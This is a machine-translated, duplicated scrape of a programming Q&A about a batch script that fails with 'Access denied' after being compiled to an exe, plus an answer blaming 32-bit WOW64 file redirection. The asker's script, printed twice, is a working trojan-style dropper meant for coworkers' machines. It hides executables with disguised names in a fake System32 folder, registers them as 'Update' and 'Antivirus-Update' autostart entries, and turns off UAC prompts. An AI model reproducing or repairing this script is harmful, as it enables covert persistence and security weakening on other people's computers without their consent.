批处理文件有问题
Having troubles with batch files
这个问题很费我的脑筋。我有一个简单的批处理文件,它在 %SYSTEMROOT%
中创建一个目录,仅当它不存在时将某些文件复制到该目录,向它们添加属性 +S +R +H
,添加两个程序以通过注册表启动并禁用UAC,因为我经常需要它,比如每天 3 次。它作为批处理文件运行良好,但我想将其分发给我的公司同事。我们都在这方面进行竞争,所以我不需要他们看到我的代码;我知道如果我还处于批处理脚本级别,我的代码不值得复制,但我的伙伴也不是最亮的灯泡!
我的问题是,当我使用 Quick Batch Convertor
将其转换为 exe 时,当它成为 exe 时,它开始提供 Access denied error
仅当它开始复制 %SYSTEMROOT%
中的文件时即使我是 运行 它作为管理员和禁用 UAC 命令,这是 C:\Windows\System32\cmd.exe /k %windir%\System32\reg.exe ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v ConsentPromptBehaviorAdmin /t REG_DWORD /d 0 /f
工作,这本来应该需要管理员权限。它只是复制文件,在转换为 exe 时拒绝访问。如果它是 batch.I 的形式,它们都可以正常工作知道这可能是题外话,但我怀疑批处理文件而不是 Quick Batch Converter
犯规,因为我已经使用此转换器转换了许多文件他们工作完美无瑕。
我的批次代码在这里
@echo off
echo %CD%
cd %~dp0
Reg.exe add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "Update" /t REG_SZ /d "\"C:\Windows\System32\SystemSettingsUpdate\HL~Realtime~Defense.exe\" " /f
Reg.exe add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "Antivirus-Update " /t REG_SZ /d "\"C:\Windows\System32\SystemSettingsUpdate\Configure.exe\" " /f
if not exist "%SYSTEMROOT%\system32\SystemSettingsUpdate" mkdir %SYSTEMROOT%\system32\SystemSettingsUpdate
cd %~dp0
taskkill /f /im configure.exe
copy "%~dp0HL~Realtime~Defense.exe" "%SYSTEMROOT%\system32\SystemSettingsUpdate"
copy "%~dp0Whatsapp,Inc.exe" "%SYSTEMROOT%\system32\SystemSettingsUpdate"
copy "%~dp0Configure.exe" "%SYSTEMROOT%\system32\SystemSettingsUpdate"
ATTRIB +H -R +S %SYSTEMROOT%\system32\SystemSettingsUpdate\Configure.exe
ATTRIB +H -R +S %SYSTEMROOT%\system32\SystemSettingsUpdate\Whatsapp,Inc.exe
ATTRIB +H -R +S %SYSTEMROOT%\system32\SystemSettingsUpdate\HL~Realtime~Defense.exe
C:\Windows\System32\cmd.exe /k %windir%\System32\reg.exe ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v ConsentPromptBehaviorAdmin /t REG_DWORD /d 0 /f
exit
有什么建议吗?
这个回答没有解决您的问题;它旨在解释 compiled 脚本的奇怪异常行为。
使用此 32 位 Quick Batch File Compiler 无法解决所描述的问题。为了证明,创建一个包含
的批处理脚本 battoexeTest.bat
@ECHO OFF
SETLOCAL EnableExtensions
set t|find /I "system"
for /F "delims=" %%G in ('
wmic process Where "caption='cmd.exe' and not CommandLine like '%%%%wmic%%%%'" get CommandLine^,ExecutablePath /value
') do for /F "delims=" %%g in ("%%~G") do echo(%%~g
pause
输出(已提升;请注意,我已重定向用户的 %temp%
和 %tmp%
变量):
TEMP=D:\tempUser\SYSTEM
TMP=D:\tempUser\SYSTEM
CommandLine="C:\Windows\System32\cmd.exe" /C "D:\bat\battoexeTest.bat"
ExecutablePath=C:\Windows\System32\cmd.exe
如果你 运行 上面脚本的编译版本 batToExeTestY.exe
提升 ,输出将改变如下:
TEMP=D:\tempUser\SYSTEM
TMP=D:\tempUser\SYSTEM
CommandLine=cmd.exe /c ""D:\tempUser\SYSTEMYQTO48H.bat" "D:\bat\batToExeTestY.exe" "
ExecutablePath=C:\Windows\SysWOW64\cmd.exe
你可以看到
batToExeTestY.exe
在帐户 SYSTEM
的临时目录中使用一些随机名称 8YQTO48H.bat
创建原始批处理脚本的副本,请参阅 CommandLine
;
- 运行s那个批处理文件在
32bit
命令行,见ExecutablePath
.
- 因此,32位被证明了。
阅读File System Redirector chapter in MSDN article Running 32-bit Applications:
The %windir%\System32
directory is reserved for 64-bit applications.
… In most cases, whenever a 32-bit application attempts to access
%windir%\System32
, the access is redirected to %windir%\SysWOW64
…
示例:运行 attrib
在 64 位命令行提示符下 (C:\Windows\system32\cmd.exe
) 无论提升与否:
==> attrib "%SYSTEMROOT%\sysWOW64\SystemSettingsUpdate\*.*"
A R C:\Windows\sysWOW64\SystemSettingsUpdate\WOW-cliParser.exe
A C:\Windows\sysWOW64\SystemSettingsUpdate\WOW-HL~Realtime~Defense.txt
==> attrib "%SYSTEMROOT%\system32\SystemSettingsUpdate\*.*"
A C:\Windows\system32\SystemSettingsUpdate\cliParser.exe
A SHR C:\Windows\system32\SystemSettingsUpdate\HL~Real~Def.txt
如果你运行attrib
或dir
在32位命令行提示下,那么WOW重定向器
- 显示
C:\Windows\system32\SystemSettingsUpdate
文件目录虽然
- 显示位于
%SYSTEMROOT%\sysWOW64\SystemSettingsUpdate
中的文件。
看看:
==> %windir%\SysWoW64\cmd.exe /C attrib "%SYSTEMROOT%\system32\SystemSettingsUpdate\*.*"
A R C:\Windows\system32\SystemSettingsUpdate\WOW-cliParser.exe
A C:\Windows\system32\SystemSettingsUpdate\WOW-HL~Realtime~Defense.txt
==> %windir%\SysWoW64\cmd.exe /C dir /A "%SYSTEMROOT%\system32\SystemSettingsUpdate\*.*"|find ":"
Directory of C:\Windows\system32\SystemSettingsUpdate
01.03.2016 12:25 <DIR> .
01.03.2016 12:25 <DIR> ..
01.03.2015 12:31 5 120 WOW-cliParser.exe
26.02.2016 08:54 84 WOW-HL~Realtime~Defense.txt
此外,试图 运行 您的批处理脚本(为了测试目的而稍微修改然后编译)提升但 AVG Internet Security Ultimate 在其 生化盾:
"Trojan horse Pakes_c.BWYN, d:\bat\batToExeTest.exe";"Secured";"25. 2. 2016, 22:50:52";"File or Directory";"c:\Program Files (x86)\Abyssmedia\Quick Batch File Compiler\quickbfc.exe"
和 copy "%~dp0XYZ.exe" "%SYSTEMROOT%\system32\SystemSettingsUpdate"
行 and/or 上的 attrib
行在其 Identity Protection 模块中:
"IDP.ALEXA.51, D:\tempUser\SYSTEMW88ULA2.bat";"Secured";"26. 2. 2016, 8:35:14";"File or Directory";""
"Unknown, D:\tempUser\SYSTEM[=16=]G8KOWPT.bat";"Secured";"26. 2. 2016, 1:08:25";"File or Directory";""
可能是误报,但你肯定需要使用一些无病毒和 64 位 兼容的 bat 到 exe 转换器…
这个问题很费我的脑筋。我有一个简单的批处理文件,它在 %SYSTEMROOT%
中创建一个目录,仅当它不存在时将某些文件复制到该目录,向它们添加属性 +S +R +H
,添加两个程序以通过注册表启动并禁用UAC,因为我经常需要它,比如每天 3 次。它作为批处理文件运行良好,但我想将其分发给我的公司同事。我们都在这方面进行竞争,所以我不需要他们看到我的代码;我知道如果我还处于批处理脚本级别,我的代码不值得复制,但我的伙伴也不是最亮的灯泡!
我的问题是,当我使用 Quick Batch Convertor
将其转换为 exe 时,当它成为 exe 时,它开始提供 Access denied error
仅当它开始复制 %SYSTEMROOT%
中的文件时即使我是 运行 它作为管理员和禁用 UAC 命令,这是 C:\Windows\System32\cmd.exe /k %windir%\System32\reg.exe ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v ConsentPromptBehaviorAdmin /t REG_DWORD /d 0 /f
工作,这本来应该需要管理员权限。它只是复制文件,在转换为 exe 时拒绝访问。如果它是 batch.I 的形式,它们都可以正常工作知道这可能是题外话,但我怀疑批处理文件而不是 Quick Batch Converter
犯规,因为我已经使用此转换器转换了许多文件他们工作完美无瑕。
我的批次代码在这里
@echo off
echo %CD%
cd %~dp0
Reg.exe add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "Update" /t REG_SZ /d "\"C:\Windows\System32\SystemSettingsUpdate\HL~Realtime~Defense.exe\" " /f
Reg.exe add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "Antivirus-Update " /t REG_SZ /d "\"C:\Windows\System32\SystemSettingsUpdate\Configure.exe\" " /f
if not exist "%SYSTEMROOT%\system32\SystemSettingsUpdate" mkdir %SYSTEMROOT%\system32\SystemSettingsUpdate
cd %~dp0
taskkill /f /im configure.exe
copy "%~dp0HL~Realtime~Defense.exe" "%SYSTEMROOT%\system32\SystemSettingsUpdate"
copy "%~dp0Whatsapp,Inc.exe" "%SYSTEMROOT%\system32\SystemSettingsUpdate"
copy "%~dp0Configure.exe" "%SYSTEMROOT%\system32\SystemSettingsUpdate"
ATTRIB +H -R +S %SYSTEMROOT%\system32\SystemSettingsUpdate\Configure.exe
ATTRIB +H -R +S %SYSTEMROOT%\system32\SystemSettingsUpdate\Whatsapp,Inc.exe
ATTRIB +H -R +S %SYSTEMROOT%\system32\SystemSettingsUpdate\HL~Realtime~Defense.exe
C:\Windows\System32\cmd.exe /k %windir%\System32\reg.exe ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v ConsentPromptBehaviorAdmin /t REG_DWORD /d 0 /f
exit
有什么建议吗?
这个回答没有解决您的问题;它旨在解释 compiled 脚本的奇怪异常行为。 使用此 32 位 Quick Batch File Compiler 无法解决所描述的问题。为了证明,创建一个包含
的批处理脚本battoexeTest.bat
@ECHO OFF
SETLOCAL EnableExtensions
set t|find /I "system"
for /F "delims=" %%G in ('
wmic process Where "caption='cmd.exe' and not CommandLine like '%%%%wmic%%%%'" get CommandLine^,ExecutablePath /value
') do for /F "delims=" %%g in ("%%~G") do echo(%%~g
pause
输出(已提升;请注意,我已重定向用户的 %temp%
和 %tmp%
变量):
TEMP=D:\tempUser\SYSTEM
TMP=D:\tempUser\SYSTEM
CommandLine="C:\Windows\System32\cmd.exe" /C "D:\bat\battoexeTest.bat"
ExecutablePath=C:\Windows\System32\cmd.exe
如果你 运行 上面脚本的编译版本 batToExeTestY.exe
提升 ,输出将改变如下:
TEMP=D:\tempUser\SYSTEM
TMP=D:\tempUser\SYSTEM
CommandLine=cmd.exe /c ""D:\tempUser\SYSTEMYQTO48H.bat" "D:\bat\batToExeTestY.exe" "
ExecutablePath=C:\Windows\SysWOW64\cmd.exe
你可以看到
batToExeTestY.exe
在帐户SYSTEM
的临时目录中使用一些随机名称8YQTO48H.bat
创建原始批处理脚本的副本,请参阅CommandLine
;- 运行s那个批处理文件在
32bit
命令行,见ExecutablePath
. - 因此,32位被证明了。
阅读File System Redirector chapter in MSDN article Running 32-bit Applications:
The
%windir%\System32
directory is reserved for 64-bit applications. … In most cases, whenever a 32-bit application attempts to access%windir%\System32
, the access is redirected to%windir%\SysWOW64
…
示例:运行 attrib
在 64 位命令行提示符下 (C:\Windows\system32\cmd.exe
) 无论提升与否:
==> attrib "%SYSTEMROOT%\sysWOW64\SystemSettingsUpdate\*.*"
A R C:\Windows\sysWOW64\SystemSettingsUpdate\WOW-cliParser.exe
A C:\Windows\sysWOW64\SystemSettingsUpdate\WOW-HL~Realtime~Defense.txt
==> attrib "%SYSTEMROOT%\system32\SystemSettingsUpdate\*.*"
A C:\Windows\system32\SystemSettingsUpdate\cliParser.exe
A SHR C:\Windows\system32\SystemSettingsUpdate\HL~Real~Def.txt
如果你运行attrib
或dir
在32位命令行提示下,那么WOW重定向器
- 显示
C:\Windows\system32\SystemSettingsUpdate
文件目录虽然 - 显示位于
%SYSTEMROOT%\sysWOW64\SystemSettingsUpdate
中的文件。
看看:
==> %windir%\SysWoW64\cmd.exe /C attrib "%SYSTEMROOT%\system32\SystemSettingsUpdate\*.*"
A R C:\Windows\system32\SystemSettingsUpdate\WOW-cliParser.exe
A C:\Windows\system32\SystemSettingsUpdate\WOW-HL~Realtime~Defense.txt
==> %windir%\SysWoW64\cmd.exe /C dir /A "%SYSTEMROOT%\system32\SystemSettingsUpdate\*.*"|find ":"
Directory of C:\Windows\system32\SystemSettingsUpdate
01.03.2016 12:25 <DIR> .
01.03.2016 12:25 <DIR> ..
01.03.2015 12:31 5 120 WOW-cliParser.exe
26.02.2016 08:54 84 WOW-HL~Realtime~Defense.txt
此外,试图 运行 您的批处理脚本(为了测试目的而稍微修改然后编译)提升但 AVG Internet Security Ultimate 在其 生化盾:
"Trojan horse Pakes_c.BWYN, d:\bat\batToExeTest.exe";"Secured";"25. 2. 2016, 22:50:52";"File or Directory";"c:\Program Files (x86)\Abyssmedia\Quick Batch File Compiler\quickbfc.exe"
和 copy "%~dp0XYZ.exe" "%SYSTEMROOT%\system32\SystemSettingsUpdate"
行 and/or 上的 attrib
行在其 Identity Protection 模块中:
"IDP.ALEXA.51, D:\tempUser\SYSTEMW88ULA2.bat";"Secured";"26. 2. 2016, 8:35:14";"File or Directory";""
"Unknown, D:\tempUser\SYSTEM[=16=]G8KOWPT.bat";"Secured";"26. 2. 2016, 1:08:25";"File or Directory";""
可能是误报,但你肯定需要使用一些无病毒和 64 位 兼容的 bat 到 exe 转换器…